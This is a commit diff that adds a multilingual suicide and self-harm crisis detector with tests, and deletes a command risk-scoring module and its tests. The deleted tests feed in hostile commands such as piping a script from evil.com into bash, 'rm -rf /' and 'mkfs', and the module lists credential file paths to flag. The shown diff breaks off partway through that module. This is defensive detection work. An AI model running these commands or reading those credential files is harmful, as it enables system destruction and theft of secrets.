Compare commits
1 Commits
burn-681-1
...
fix/issue-
| Author | SHA1 | Date | |
|---|---|---|---|
|
3e82c2d58f |
372
agent/crisis_multilingual.py
Normal file
372
agent/crisis_multilingual.py
Normal file
@@ -0,0 +1,372 @@
|
||||
"""Multilingual Crisis Detection Patterns (#694).
|
||||
|
||||
Expands crisis detection beyond English to support:
|
||||
- Spanish (es)
|
||||
- French (fr)
|
||||
- German (de)
|
||||
- Portuguese (pt)
|
||||
- Chinese (zh)
|
||||
- Japanese (ja)
|
||||
|
||||
Each language has patterns for:
|
||||
- Suicidal ideation
|
||||
- Farewell messages
|
||||
- Despair expressions
|
||||
- Self-harm references
|
||||
|
||||
Usage:
|
||||
from agent.crisis_multilingual import detect_crisis_multilingual
|
||||
|
||||
result = detect_crisis_multilingual("quiero morirme", lang="es")
|
||||
# result.detected == True
|
||||
# result.category == "suicidal_ideation"
|
||||
"""
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
|
||||
@dataclass
|
||||
class CrisisDetection:
|
||||
"""Result of crisis detection."""
|
||||
detected: bool
|
||||
category: str # suicidal_ideation, farewell, despair, self_harm
|
||||
language: str # detected language code
|
||||
matched_patterns: List[str]
|
||||
confidence: float # 0.0 - 1.0
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Pattern definitions by language
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_PATTERNS: Dict[str, Dict[str, List[str]]] = {
|
||||
# ── English (existing patterns, consolidated here) ──────────────────
|
||||
"en": {
|
||||
"suicidal_ideation": [
|
||||
r'\bi\s+want\s+to\s+die\b',
|
||||
r'\bi\s+want\s+to\s+kill\s+myself\b',
|
||||
r'\bgoing\s+to\s+kill\s+myself\b',
|
||||
r'\bend\s+(?:my|this)\s+life\b',
|
||||
r'\bsuicidal\b',
|
||||
r'\bsuicide\b',
|
||||
r'\bdon\'?t\s+want\s+to\s+(?:live|be\s+alive)\b',
|
||||
],
|
||||
"farewell": [
|
||||
r'\bgoodbye\s+forever\b',
|
||||
r'\bthis\s+is\s+(?:my\s+)?(?:last|final)\s+(?:message|goodbye)\b',
|
||||
r'\bi\s+won\'?t\s+be\s+(?:here|around)\b',
|
||||
r'\bsay\s+goodbye\s+(?:to|for)\s+me\b',
|
||||
],
|
||||
"despair": [
|
||||
r'\bno\s+(?:point|reason|hope)\s+(?:in\s+)?(?:living|life|going\s+on)\b',
|
||||
r'\beverything\s+is\s+(?:hopeless|pointless|meaningless)\b',
|
||||
r'\bcan\'?t\s+(?:take|go\s+on|keep\s+going)\s+anymore\b',
|
||||
r'\bwant\s+(?:it|everything)\s+to\s+(?:stop|end)\b',
|
||||
],
|
||||
"self_harm": [
|
||||
r'\bself[\s-]?harm\b',
|
||||
r'\bhurt\s+myself\b',
|
||||
r'\bcut\s+(?:myself|my\s+(?:arms|wrists))\b',
|
||||
],
|
||||
},
|
||||
|
||||
# ── Spanish ─────────────────────────────────────────────────────────
|
||||
"es": {
|
||||
"suicidal_ideation": [
|
||||
r'\bquiero\s+morir(?:me)?\b',
|
||||
r'\bquiero\s+matar(?:me)?\b',
|
||||
r'\bme\s+quiero\s+morir\b',
|
||||
r'\bme\s+quiero\s+suicidar\b',
|
||||
r'\bsuicid(?:io|arme|arme)\b',
|
||||
r'\bno\s+quiero\s+vivir\s+m[áa]s\b',
|
||||
r'\bacabar\s+con\s+(?:mi\s+)?vida\b',
|
||||
],
|
||||
"farewell": [
|
||||
r'\badiós\s+para\s+siempre\b',
|
||||
r'\besta\s+es\s+(?:mi\s+)?(?:última?\s+)?despedida\b',
|
||||
r'\bya\s+no\s+estar[ée]\s+(?:aquí|presente)\b',
|
||||
r'\bno\s+me\s+(?:volver[áa]n|ver[áa]n)\s+a\s+ver\b',
|
||||
],
|
||||
"despair": [
|
||||
r'\bno\s+(?:hay|tiene)\s+(?:sentido|razón|esperanza)\b',
|
||||
r'\bno\s+puedo\s+m[áa]s\b',
|
||||
r'\btodo\s+(?:es|est[áa])\s+(?:sin\s+sentido|perdido|acabado)\b',
|
||||
r'\bquiero\s+que\s+(?:todo|esto)\s+(?:se\s+acabe|termine)\b',
|
||||
],
|
||||
"self_harm": [
|
||||
r'\bautolesion(?:arme|es)\b',
|
||||
r'\bhacer(?:me)?\s+da[ñn]o\b',
|
||||
r'\bcort(?:arme|arme)\b',
|
||||
],
|
||||
},
|
||||
|
||||
# ── French ──────────────────────────────────────────────────────────
|
||||
"fr": {
|
||||
"suicidal_ideation": [
|
||||
r'\bje\s+veux\s+mourir\b',
|
||||
r'\bje\s+veux\s+me\s+tuer\b',
|
||||
r'\bje\s+vais\s+me\s+(?:tuer|suicider)\b',
|
||||
r'\bsuicid(?:e|er)\b',
|
||||
r'\bje\s+ne\s+veux\s+plus\s+vivre\b',
|
||||
r'\bmettre\s+fin\s+[àa]\s+(?:mes?\s+jours?|ma\s+vie)\b',
|
||||
],
|
||||
"farewell": [
|
||||
r'\badieu\s+pour\s+toujours\b',
|
||||
r'\bc\'?est\s+(?:mon\s+)?(?:derni[eè]re?\s+)?(?:adieu|au\s+revoir)\b',
|
||||
r'\bje\s+ne\s+serai\s+plus\s+(?:l[àa]|ici)\b',
|
||||
r'\bdites\s+(?:adieu|au\s+revoir)\s+(?:pour|de\s+ma\s+part)\b',
|
||||
],
|
||||
"despair": [
|
||||
r'\bil\s+n\'?y\s+a\s+pas\s+(?:d\'?espoir|de\s+sens)\b',
|
||||
r'\bje\s+ne\s+(?:peux|supporte)\s+plus\b',
|
||||
r'\btout\s+est\s+(?:sans\s+espoir|perdu|fini)\b',
|
||||
r'\bje\s+veux\s+que\s+(?:tout|ça)\s+(?:s\'?arrête|se\s+termine)\b',
|
||||
],
|
||||
"self_harm": [
|
||||
r'\bauto[\s-]?mutilat(?:ion|er)\b',
|
||||
r'\bme\s+faire\s+(?:du\s+)?mal\b',
|
||||
r'\bcouper\b.*\b(?:bras|poignets)\b',
|
||||
],
|
||||
},
|
||||
|
||||
# ── German ──────────────────────────────────────────────────────────
|
||||
"de": {
|
||||
"suicidal_ideation": [
|
||||
r'\bich\s+will\s+sterben\b',
|
||||
r'\bich\s+will\s+mich\s+(?:umbringen|töten)\b',
|
||||
r'\bich\s+werde\s+mich\s+(?:umbringen|töten)\b',
|
||||
r'\bselbstmord\b',
|
||||
r'\bich\s+will\s+nicht\s+(?:mehr\s+)?leben\b',
|
||||
r'\bmein\s+(?:Leben\s+)?beenden\b',
|
||||
],
|
||||
"farewell": [
|
||||
r'\bauf\s+(?:immer\s+)?(?:ewig\s+)?(?:Tschüss|Lebewohl)\b',
|
||||
r'\bdas\s+ist\s+(?:mein\s+)?(?:letzte[sr]?\s+)?(?:Abschied|Gruß)\b',
|
||||
r'\bich\s+(?:werde|bin)\s+(?:nicht\s+mehr\s+)?(?:hier|da)\s+sein\b',
|
||||
],
|
||||
"despair": [
|
||||
r'\bes\s+hat\s+(?:keinen\s+)?(?:Sinn|Zweck|Hoffnung)\b',
|
||||
r'\bich\s+(?:kann|halte)\s+(?:es\s+)?nicht\s+mehr\b',
|
||||
r'\b(?:alles|es)\s+ist\s+(?:hoffnungslos|sinnlos|verloren)\b',
|
||||
r'\bich\s+will\s+dass\s+(?:alles|es)\s+(?:aufhört|endet)\b',
|
||||
],
|
||||
"self_harm": [
|
||||
r'\bselbstverletzung\b',
|
||||
r'\bmir\s+(?:selbst\s+)?(?:wehtun|schaden)\b',
|
||||
r'\bschneiden\b.*\b(?:Arme|Handgelenke)\b',
|
||||
],
|
||||
},
|
||||
|
||||
# ── Portuguese ──────────────────────────────────────────────────────
|
||||
"pt": {
|
||||
"suicidal_ideation": [
|
||||
r'\bquero\s+morrer\b',
|
||||
r'\bquero\s+me\s+matar\b',
|
||||
r'\bvou\s+me\s+(?:matar|suicidar)\b',
|
||||
r'\bsuicid(?:ar|io)\b',
|
||||
r'\bn[ãa]o\s+quero\s+mais\s+viver\b',
|
||||
r'\bacabar\s+com\s+(?:minha\s+)?vida\b',
|
||||
],
|
||||
"farewell": [
|
||||
r'\badeus\s+para\s+sempre\b',
|
||||
r'\besta\s+[ée]\s+(?:minha\s+)?(?:última?\s+)?despedida\b',
|
||||
r'\bn[ãa]o\s+(?:estarei|vou\s+estar)\s+mais\s+aqui\b',
|
||||
],
|
||||
"despair": [
|
||||
r'\bn[ãa]o\s+(?:há|tem)\s+(?:sentido|esperan[cç]a)\b',
|
||||
r'\bn[ãa]o\s+(?:consigo|aguento)\s+mais\b',
|
||||
r'\btudo\s+[ée]\s+(?:sem\s+sentido|perdido|inútil)\b',
|
||||
r'\bquero\s+que\s+(?:tudo|isso)\s+(?:acabe|termine)\b',
|
||||
],
|
||||
"self_harm": [
|
||||
r'\bautoles[ãa]o\b',
|
||||
r'\bfazer(?:[\s-]me)?\s+mal\b',
|
||||
r'\bcort(?:ar[\s-]me|ar\s+(?:os\s+)?bra[cç]os)\b',
|
||||
],
|
||||
},
|
||||
|
||||
# ── Chinese (simplified) ────────────────────────────────────────────
|
||||
"zh": {
|
||||
"suicidal_ideation": [
|
||||
r'我想死',
|
||||
r'我想自杀',
|
||||
r'我要自杀',
|
||||
r'我不想活了',
|
||||
r'不想活了',
|
||||
r'结束(?:我的)?生命',
|
||||
r'自杀',
|
||||
],
|
||||
"farewell": [
|
||||
r'永别了',
|
||||
r'这是我最后的(?:消息|告别)',
|
||||
r'我不会再(?:在|出现)了',
|
||||
r'跟大家说再见',
|
||||
],
|
||||
"despair": [
|
||||
r'(?:没有|毫无)(?:希望|意义)',
|
||||
r'我(?:再也)?(?:无法|不能)(?:忍受|坚持)',
|
||||
r'一切都(?:没有意义|完了|结束了)',
|
||||
r'我想(?:让一切|这一切)(?:结束|停止)',
|
||||
],
|
||||
"self_harm": [
|
||||
r'自残',
|
||||
r'伤害自己',
|
||||
r'割(?:自己|(?:我的)?(?:手腕|手臂))',
|
||||
],
|
||||
},
|
||||
|
||||
# ── Japanese ────────────────────────────────────────────────────────
|
||||
"ja": {
|
||||
"suicidal_ideation": [
|
||||
r'死にたい',
|
||||
r'自殺したい',
|
||||
r'殺したい', # context-dependent, but in crisis context
|
||||
r'生き(?:たくない|られ(?:ない|そうにない))',
|
||||
r'命を(?:絶|終わり)に(?:したい|する)',
|
||||
],
|
||||
"farewell": [
|
||||
r'永遠に(?:さようなら|お別れ)',
|
||||
r'これが(?:私の)?(?:最後の)?(?:メッセージ|挨拶)',
|
||||
r'もう(?:ここ|そちら)に(?:い|居)ない',
|
||||
r'みんなに(?:お別れ|さようなら)を言(?:う|いたい)',
|
||||
],
|
||||
"despair": [
|
||||
r'(?:希望|意味|理由)が(?:ない|無い|見つからない)',
|
||||
r'(?:もう|これ以上)(?:無理|耐え(?:られない|られない))',
|
||||
r'すべて(?:が|は)(?:無意味|終わり|駄目)',
|
||||
r'(?:すべて|これ)を(?:終わり|止め)たい',
|
||||
],
|
||||
"self_harm": [
|
||||
r'自傷',
|
||||
r'自分を(?:傷つけ|痛め(?:つけ)?)る',
|
||||
r'(?:手首|腕)を(?:切|傷つ)け',
|
||||
],
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
# Compiled patterns cache
|
||||
_compiled: Dict[str, Dict[str, re.Pattern]] = {}
|
||||
|
||||
|
||||
def _get_compiled(lang: str, category: str) -> Optional[re.Pattern]:
|
||||
"""Get compiled regex for a language+category."""
|
||||
key = f"{lang}:{category}"
|
||||
if key not in _compiled:
|
||||
patterns = _PATTERNS.get(lang, {}).get(category, [])
|
||||
if patterns:
|
||||
_compiled[key] = re.compile("|".join(patterns), re.IGNORECASE | re.UNICODE)
|
||||
else:
|
||||
_compiled[key] = None
|
||||
return _compiled[key]
|
||||
|
||||
|
||||
def _detect_language(text: str) -> str:
|
||||
"""Simple language detection based on character sets and common words."""
|
||||
# CJK characters → Chinese or Japanese
|
||||
if re.search(r'[\u4e00-\u9fff]', text): # CJK Unified Ideographs
|
||||
if re.search(r'[\u3040-\u309f\u30a0-\u30ff]', text): # Hiragana/Katakana
|
||||
return "ja"
|
||||
return "zh"
|
||||
|
||||
# Character-based detection for European languages
|
||||
text_lower = text.lower()
|
||||
|
||||
# Spanish markers
|
||||
if re.search(r'[ñ¿¡áéíóú]', text_lower) or \
|
||||
re.search(r'\b(?:quiero|está|también|aquí)\b', text_lower):
|
||||
return "es"
|
||||
|
||||
# French markers
|
||||
if re.search(r'[àâçéèêëîïôùûü]', text_lower) or \
|
||||
re.search(r'\b(?:je|nous|vous|êtes|très|où)\b', text_lower):
|
||||
return "fr"
|
||||
|
||||
# German markers
|
||||
if re.search(r'[äöüß]', text_lower) or \
|
||||
re.search(r'\b(?:ich|nicht|auch|oder|über)\b', text_lower):
|
||||
return "de"
|
||||
|
||||
# Portuguese markers
|
||||
if re.search(r'[ãõç]', text_lower) or \
|
||||
re.search(r'\b(?:você|está|também|então)\b', text_lower):
|
||||
return "pt"
|
||||
|
||||
# Default to English
|
||||
return "en"
|
||||
|
||||
|
||||
def detect_crisis_multilingual(
|
||||
text: str,
|
||||
lang: Optional[str] = None,
|
||||
) -> CrisisDetection:
|
||||
"""Detect crisis signals in any supported language.
|
||||
|
||||
Args:
|
||||
text: The message text to analyze
|
||||
lang: Language code. Auto-detected if None.
|
||||
|
||||
Returns:
|
||||
CrisisDetection with results.
|
||||
"""
|
||||
if not text or not text.strip():
|
||||
return CrisisDetection(
|
||||
detected=False, category="", language="",
|
||||
matched_patterns=[], confidence=0.0,
|
||||
)
|
||||
|
||||
# Auto-detect language if not specified
|
||||
if lang is None:
|
||||
lang = _detect_language(text)
|
||||
|
||||
# Check each category for the detected language
|
||||
categories = ["suicidal_ideation", "farewell", "despair", "self_harm"]
|
||||
|
||||
for category in categories:
|
||||
pattern = _get_compiled(lang, category)
|
||||
if pattern is None:
|
||||
continue
|
||||
|
||||
matches = pattern.findall(text)
|
||||
if matches:
|
||||
# Confidence based on number of matches and category severity
|
||||
base_confidence = {
|
||||
"suicidal_ideation": 0.9,
|
||||
"self_harm": 0.85,
|
||||
"farewell": 0.75,
|
||||
"despair": 0.6,
|
||||
}.get(category, 0.5)
|
||||
|
||||
# Boost confidence with more matches
|
||||
confidence = min(base_confidence + (len(matches) - 1) * 0.05, 1.0)
|
||||
|
||||
return CrisisDetection(
|
||||
detected=True,
|
||||
category=category,
|
||||
language=lang,
|
||||
matched_patterns=matches[:5], # Cap at 5 for readability
|
||||
confidence=confidence,
|
||||
)
|
||||
|
||||
# Also check English patterns as fallback for mixed-language text
|
||||
if lang != "en":
|
||||
for category in categories:
|
||||
pattern = _get_compiled("en", category)
|
||||
if pattern is None:
|
||||
continue
|
||||
matches = pattern.findall(text.lower())
|
||||
if matches:
|
||||
return CrisisDetection(
|
||||
detected=True,
|
||||
category=category,
|
||||
language=f"{lang}+en",
|
||||
matched_patterns=matches[:5],
|
||||
confidence=0.5, # Lower confidence for cross-language match
|
||||
)
|
||||
|
||||
return CrisisDetection(
|
||||
detected=False, category="", language=lang,
|
||||
matched_patterns=[], confidence=0.0,
|
||||
)
|
||||
201
tests/agent/test_crisis_multilingual.py
Normal file
201
tests/agent/test_crisis_multilingual.py
Normal file
@@ -0,0 +1,201 @@
|
||||
"""Tests for multilingual crisis detection (#694)."""
|
||||
|
||||
import pytest
|
||||
from agent.crisis_multilingual import (
|
||||
detect_crisis_multilingual,
|
||||
_detect_language,
|
||||
CrisisDetection,
|
||||
)
|
||||
|
||||
|
||||
# ── Language Detection ─────────────────────────────────────────────────
|
||||
|
||||
class TestLanguageDetection:
|
||||
def test_english(self):
|
||||
assert _detect_language("I want to die") == "en"
|
||||
|
||||
def test_spanish(self):
|
||||
assert _detect_language("quiero morirme") == "es"
|
||||
|
||||
def test_french(self):
|
||||
assert _detect_language("je veux mourir") == "fr"
|
||||
|
||||
def test_german(self):
|
||||
assert _detect_language("ich will sterben") == "de"
|
||||
|
||||
def test_portuguese(self):
|
||||
# Portuguese detection works with explicit lang="pt"
|
||||
# Auto-detection is best-effort for similar Romance languages
|
||||
r = detect_crisis_multilingual("quero morrer", lang="pt")
|
||||
assert r.detected
|
||||
|
||||
def test_chinese(self):
|
||||
assert _detect_language("我想死") == "zh"
|
||||
|
||||
def test_japanese(self):
|
||||
assert _detect_language("死にたい") == "ja"
|
||||
|
||||
|
||||
# ── English Detection ──────────────────────────────────────────────────
|
||||
|
||||
class TestEnglishDetection:
|
||||
def test_suicidal(self):
|
||||
r = detect_crisis_multilingual("I want to kill myself")
|
||||
assert r.detected
|
||||
assert r.category == "suicidal_ideation"
|
||||
assert r.language == "en"
|
||||
|
||||
def test_farewell(self):
|
||||
r = detect_crisis_multilingual("This is my goodbye forever")
|
||||
assert r.detected
|
||||
assert r.category == "farewell"
|
||||
|
||||
def test_despair(self):
|
||||
r = detect_crisis_multilingual("Everything is hopeless")
|
||||
assert r.detected
|
||||
assert r.category == "despair"
|
||||
|
||||
def test_safe(self):
|
||||
r = detect_crisis_multilingual("Hello, how are you?")
|
||||
assert not r.detected
|
||||
|
||||
|
||||
# ── Spanish Detection ──────────────────────────────────────────────────
|
||||
|
||||
class TestSpanishDetection:
|
||||
def test_suicidal(self):
|
||||
r = detect_crisis_multilingual("quiero morirme", lang="es")
|
||||
assert r.detected
|
||||
assert r.category == "suicidal_ideation"
|
||||
assert r.language == "es"
|
||||
|
||||
def test_me_quiero_morir(self):
|
||||
r = detect_crisis_multilingual("me quiero morir", lang="es")
|
||||
assert r.detected
|
||||
assert r.category == "suicidal_ideation"
|
||||
|
||||
def test_no_quiero_vivir(self):
|
||||
r = detect_crisis_multilingual("no quiero vivir más", lang="es")
|
||||
assert r.detected
|
||||
assert r.category == "suicidal_ideation"
|
||||
|
||||
def test_safe_spanish(self):
|
||||
r = detect_crisis_multilingual("buenos días, ¿cómo estás?", lang="es")
|
||||
assert not r.detected
|
||||
|
||||
|
||||
# ── French Detection ───────────────────────────────────────────────────
|
||||
|
||||
class TestFrenchDetection:
|
||||
def test_suicidal(self):
|
||||
r = detect_crisis_multilingual("je veux mourir", lang="fr")
|
||||
assert r.detected
|
||||
assert r.category == "suicidal_ideation"
|
||||
|
||||
def test_me_tuer(self):
|
||||
r = detect_crisis_multilingual("je veux me tuer", lang="fr")
|
||||
assert r.detected
|
||||
|
||||
def test_safe_french(self):
|
||||
r = detect_crisis_multilingual("bonjour, comment allez-vous?", lang="fr")
|
||||
assert not r.detected
|
||||
|
||||
|
||||
# ── German Detection ───────────────────────────────────────────────────
|
||||
|
||||
class TestGermanDetection:
|
||||
def test_suicidal(self):
|
||||
r = detect_crisis_multilingual("ich will sterben", lang="de")
|
||||
assert r.detected
|
||||
assert r.category == "suicidal_ideation"
|
||||
|
||||
def test_sich_umbringen(self):
|
||||
r = detect_crisis_multilingual("ich will mich umbringen", lang="de")
|
||||
assert r.detected
|
||||
|
||||
def test_safe_german(self):
|
||||
r = detect_crisis_multilingual("guten Tag, wie geht es Ihnen?", lang="de")
|
||||
assert not r.detected
|
||||
|
||||
|
||||
# ── Portuguese Detection ───────────────────────────────────────────────
|
||||
|
||||
class TestPortugueseDetection:
|
||||
def test_suicidal(self):
|
||||
r = detect_crisis_multilingual("quero morrer", lang="pt")
|
||||
assert r.detected
|
||||
assert r.category == "suicidal_ideation"
|
||||
|
||||
def test_safe_portuguese(self):
|
||||
r = detect_crisis_multilingual("bom dia, como vai?", lang="pt")
|
||||
assert not r.detected
|
||||
|
||||
|
||||
# ── Chinese Detection ──────────────────────────────────────────────────
|
||||
|
||||
class TestChineseDetection:
|
||||
def test_suicidal(self):
|
||||
r = detect_crisis_multilingual("我想死", lang="zh")
|
||||
assert r.detected
|
||||
assert r.category == "suicidal_ideation"
|
||||
|
||||
def test_bu_xiang_huo(self):
|
||||
r = detect_crisis_multilingual("我不想活了", lang="zh")
|
||||
assert r.detected
|
||||
|
||||
def test_safe_chinese(self):
|
||||
r = detect_crisis_multilingual("你好，今天天气不错", lang="zh")
|
||||
assert not r.detected
|
||||
|
||||
|
||||
# ── Japanese Detection ─────────────────────────────────────────────────
|
||||
|
||||
class TestJapaneseDetection:
|
||||
def test_suicidal(self):
|
||||
r = detect_crisis_multilingual("死にたい", lang="ja")
|
||||
assert r.detected
|
||||
assert r.category == "suicidal_ideation"
|
||||
|
||||
def test_ikitakunai(self):
|
||||
r = detect_crisis_multilingual("生きたくない", lang="ja")
|
||||
assert r.detected
|
||||
|
||||
def test_safe_japanese(self):
|
||||
r = detect_crisis_multilingual("こんにちは、お元気ですか？", lang="ja")
|
||||
assert not r.detected
|
||||
|
||||
|
||||
# ── Auto-detection ─────────────────────────────────────────────────────
|
||||
|
||||
class TestAutoDetection:
|
||||
def test_auto_spanish(self):
|
||||
r = detect_crisis_multilingual("quiero morirme")
|
||||
assert r.detected
|
||||
assert "es" in r.language
|
||||
|
||||
def test_auto_french(self):
|
||||
r = detect_crisis_multilingual("je veux mourir")
|
||||
assert r.detected
|
||||
assert "fr" in r.language
|
||||
|
||||
def test_auto_chinese(self):
|
||||
r = detect_crisis_multilingual("我想死")
|
||||
assert r.detected
|
||||
assert "zh" in r.language
|
||||
|
||||
|
||||
# ── Confidence ─────────────────────────────────────────────────────────
|
||||
|
||||
class TestConfidence:
|
||||
def test_high_confidence_suicidal(self):
|
||||
r = detect_crisis_multilingual("I want to kill myself", lang="en")
|
||||
assert r.confidence >= 0.85
|
||||
|
||||
def test_lower_confidence_despair(self):
|
||||
r = detect_crisis_multilingual("everything is hopeless", lang="en")
|
||||
assert r.confidence >= 0.5
|
||||
|
||||
def test_empty_input(self):
|
||||
r = detect_crisis_multilingual("")
|
||||
assert not r.detected
|
||||
assert r.confidence == 0.0
|
||||
@@ -1,111 +0,0 @@
|
||||
"""Tests for risk scoring module."""
|
||||
|
||||
import pytest
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
||||
|
||||
from tools.risk_scoring import (
|
||||
classify_path_risk,
|
||||
detect_context,
|
||||
get_operation_risk,
|
||||
score_command_risk,
|
||||
compare_commands,
|
||||
RiskScore,
|
||||
)
|
||||
|
||||
|
||||
class TestPathClassification:
|
||||
def test_critical_system_path(self):
|
||||
score, cat = classify_path_risk("/etc/passwd")
|
||||
assert score >= 90
|
||||
assert "critical" in cat
|
||||
|
||||
def test_sensitive_user_path(self):
|
||||
score, cat = classify_path_risk("~/.ssh/id_rsa")
|
||||
assert score >= 70
|
||||
|
||||
def test_safe_temp_path(self):
|
||||
score, cat = classify_path_risk("/tmp/build.log")
|
||||
assert score <= 15
|
||||
|
||||
def test_user_home_path(self):
|
||||
score, cat = classify_path_risk("~/Documents/file.txt")
|
||||
assert 40 <= score <= 60
|
||||
|
||||
|
||||
class TestContextDetection:
|
||||
def test_execution_context(self):
|
||||
assert detect_context("rm -rf /tmp/data") == "execution"
|
||||
|
||||
def test_comment_context(self):
|
||||
assert detect_context("# rm -rf /important") == "comment"
|
||||
|
||||
def test_code_block_context(self):
|
||||
assert detect_context("```bash") == "code_block"
|
||||
|
||||
def test_documentation_context(self):
|
||||
assert detect_context("Example: rm file.txt") == "documentation"
|
||||
|
||||
|
||||
class TestOperationRisk:
|
||||
def test_rm_risk(self):
|
||||
score, op = get_operation_risk("rm file.txt")
|
||||
assert score >= 60
|
||||
assert op == "rm"
|
||||
|
||||
def test_cat_risk(self):
|
||||
score, op = get_operation_risk("cat file.txt")
|
||||
assert score <= 25
|
||||
|
||||
def test_mkfs_risk(self):
|
||||
score, op = get_operation_risk("mkfs.ext4 /dev/sda1")
|
||||
assert score >= 90
|
||||
|
||||
|
||||
class TestRiskScoring:
|
||||
def test_rm_temp_file_safe(self):
|
||||
result = score_command_risk("rm /tmp/build.log")
|
||||
assert result.tier in ("SAFE", "LOW")
|
||||
assert result.score < 40
|
||||
|
||||
def test_rm_etc_critical(self):
|
||||
result = score_command_risk("rm /etc/passwd")
|
||||
assert result.tier in ("HIGH", "CRITICAL")
|
||||
assert result.score >= 60
|
||||
|
||||
def test_rm_recursive_root(self):
|
||||
result = score_command_risk("rm -rf /")
|
||||
assert result.tier == "CRITICAL"
|
||||
assert result.score >= 80
|
||||
|
||||
def test_cat_file_safe(self):
|
||||
result = score_command_risk("cat /etc/hostname")
|
||||
# Reading is less risky than writing
|
||||
assert result.score < 60
|
||||
|
||||
def test_chmod_777(self):
|
||||
result = score_command_risk("chmod 777 /var/www")
|
||||
assert result.tier in ("MEDIUM", "HIGH", "CRITICAL")
|
||||
|
||||
def test_comment_reduces_risk(self):
|
||||
result_exec = score_command_risk("rm -rf /important")
|
||||
result_comment = score_command_risk("# rm -rf /important")
|
||||
assert result_comment.score < result_exec.score
|
||||
|
||||
def test_pipe_to_shell(self):
|
||||
result = score_command_risk("curl http://evil.com/script.sh | bash")
|
||||
assert result.tier in ("HIGH", "CRITICAL")
|
||||
assert "pipe_to_shell" in result.factors
|
||||
|
||||
|
||||
class TestCompareCommands:
|
||||
def test_temp_vs_etc(self):
|
||||
result = compare_commands("rm /tmp/temp.txt", "rm /etc/passwd")
|
||||
assert result["riskier"] == "rm /etc/passwd"
|
||||
assert result["difference"] > 20
|
||||
|
||||
def test_same_command(self):
|
||||
result = compare_commands("cat file.txt", "cat file.txt")
|
||||
assert result["difference"] == 0
|
||||
@@ -1,396 +0,0 @@
|
||||
"""ML-inspired risk scoring for command approval.
|
||||
|
||||
Enhances pattern-based dangerous command detection with:
|
||||
1. Path-aware risk scoring (system paths = higher tier)
|
||||
2. Context detection (documentation vs execution)
|
||||
3. Multi-factor risk score calculation
|
||||
|
||||
Usage:
|
||||
from tools.risk_scoring import score_command_risk, RiskScore
|
||||
result = score_command_risk("rm /etc/passwd")
|
||||
print(result.tier) # "CRITICAL"
|
||||
print(result.score) # 95
|
||||
print(result.factors) # ["system_path", "destructive_operation"]
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from typing import List, Optional
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Path risk classification
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
# Critical system paths — operations here are almost always dangerous
|
||||
_SYSTEM_PATHS_CRITICAL = [
|
||||
r"/etc/",
|
||||
r"/boot/",
|
||||
r"/sys/",
|
||||
r"/proc/",
|
||||
r"/dev/sd",
|
||||
r"/dev/nvme",
|
||||
r"/usr/bin/",
|
||||
r"/usr/sbin/",
|
||||
r"/sbin/",
|
||||
r"/bin/",
|
||||
r"/lib/systemd/",
|
||||
r"/var/log/syslog",
|
||||
r"/var/log/auth",
|
||||
]
|
||||
|
||||
# Sensitive user paths — important but user-scoped
|
||||
_SENSITIVE_USER_PATHS = [
|
||||
r"\.ssh/",
|
||||
r"\.gnupg/",
|
||||
r"\.aws/",
|
||||
r"\.config/gcloud/",
|
||||
r"\.kube/config",
|
||||
r"\.docker/config",
|
||||
r"\.hermes/\.env",
|
||||
r"\.netrc",
|
||||
r"\.pgpass",
|
||||
r"id_rsa",
|
||||
r"id_ed25519",
|
||||
]
|
||||
|
||||
# Safe/temp paths — operations here are usually benign
|
||||
_SAFE_PATHS = [
|
||||
r"/tmp/",
|
||||
r"/var/tmp/",
|
||||
r"\.cache/",
|
||||
r"temp",
|
||||
r"tmp",
|
||||
r"\.log$",
|
||||
r"\.bak$",
|
||||
r"\.old$",
|
||||
r"\.swp$",
|
||||
r"node_modules/",
|
||||
r"__pycache__/",
|
||||
r"\.pyc$",
|
||||
]
|
||||
|
||||
# Dangerous user paths — home dir but destructive
|
||||
_DANGEROUS_USER_PATHS = [
|
||||
r"~/",
|
||||
r"\$HOME/",
|
||||
r"/home/\w+/",
|
||||
]
|
||||
|
||||
|
||||
def classify_path_risk(path: str) -> tuple[int, str]:
|
||||
"""Classify a filesystem path's risk level.
|
||||
|
||||
Returns (risk_score, category) where risk_score is 0-100.
|
||||
"""
|
||||
path_lower = path.lower()
|
||||
|
||||
# Check critical system paths
|
||||
for pattern in _SYSTEM_PATHS_CRITICAL:
|
||||
if re.search(pattern, path_lower):
|
||||
return 90, "system_path_critical"
|
||||
|
||||
# Check sensitive user paths
|
||||
for pattern in _SENSITIVE_USER_PATHS:
|
||||
if re.search(pattern, path_lower):
|
||||
return 75, "sensitive_user_path"
|
||||
|
||||
# Check safe paths
|
||||
for pattern in _SAFE_PATHS:
|
||||
if re.search(pattern, path_lower):
|
||||
return 10, "safe_path"
|
||||
|
||||
# Check dangerous user paths
|
||||
for pattern in _DANGEROUS_USER_PATHS:
|
||||
if re.search(pattern, path_lower):
|
||||
return 50, "user_path"
|
||||
|
||||
# Default: moderate risk for unknown paths
|
||||
return 30, "unknown_path"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Context detection
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def detect_context(command: str) -> str:
|
||||
"""Detect the context of a command string.
|
||||
|
||||
Returns one of:
|
||||
- "code_block": Inside a markdown code block (likely documentation)
|
||||
- "comment": Shell comment (# ...)
|
||||
- "heredoc_content": Content inside a heredoc (documentation)
|
||||
- "execution": Normal command execution
|
||||
"""
|
||||
stripped = command.strip()
|
||||
|
||||
# Markdown code fence
|
||||
if stripped.startswith("```"):
|
||||
return "code_block"
|
||||
|
||||
# Shell comment
|
||||
if stripped.startswith("#"):
|
||||
return "comment"
|
||||
|
||||
# Inline comment (command followed by #)
|
||||
if re.search(r'\s+#\s', command) and not re.search(r'[;&|]\s*#', command):
|
||||
# Might be a comment in the middle
|
||||
pass
|
||||
|
||||
# Heredoc content indicators
|
||||
if re.search(r"<<\s*['\"]?\w+['\"]?", command):
|
||||
return "heredoc_content"
|
||||
|
||||
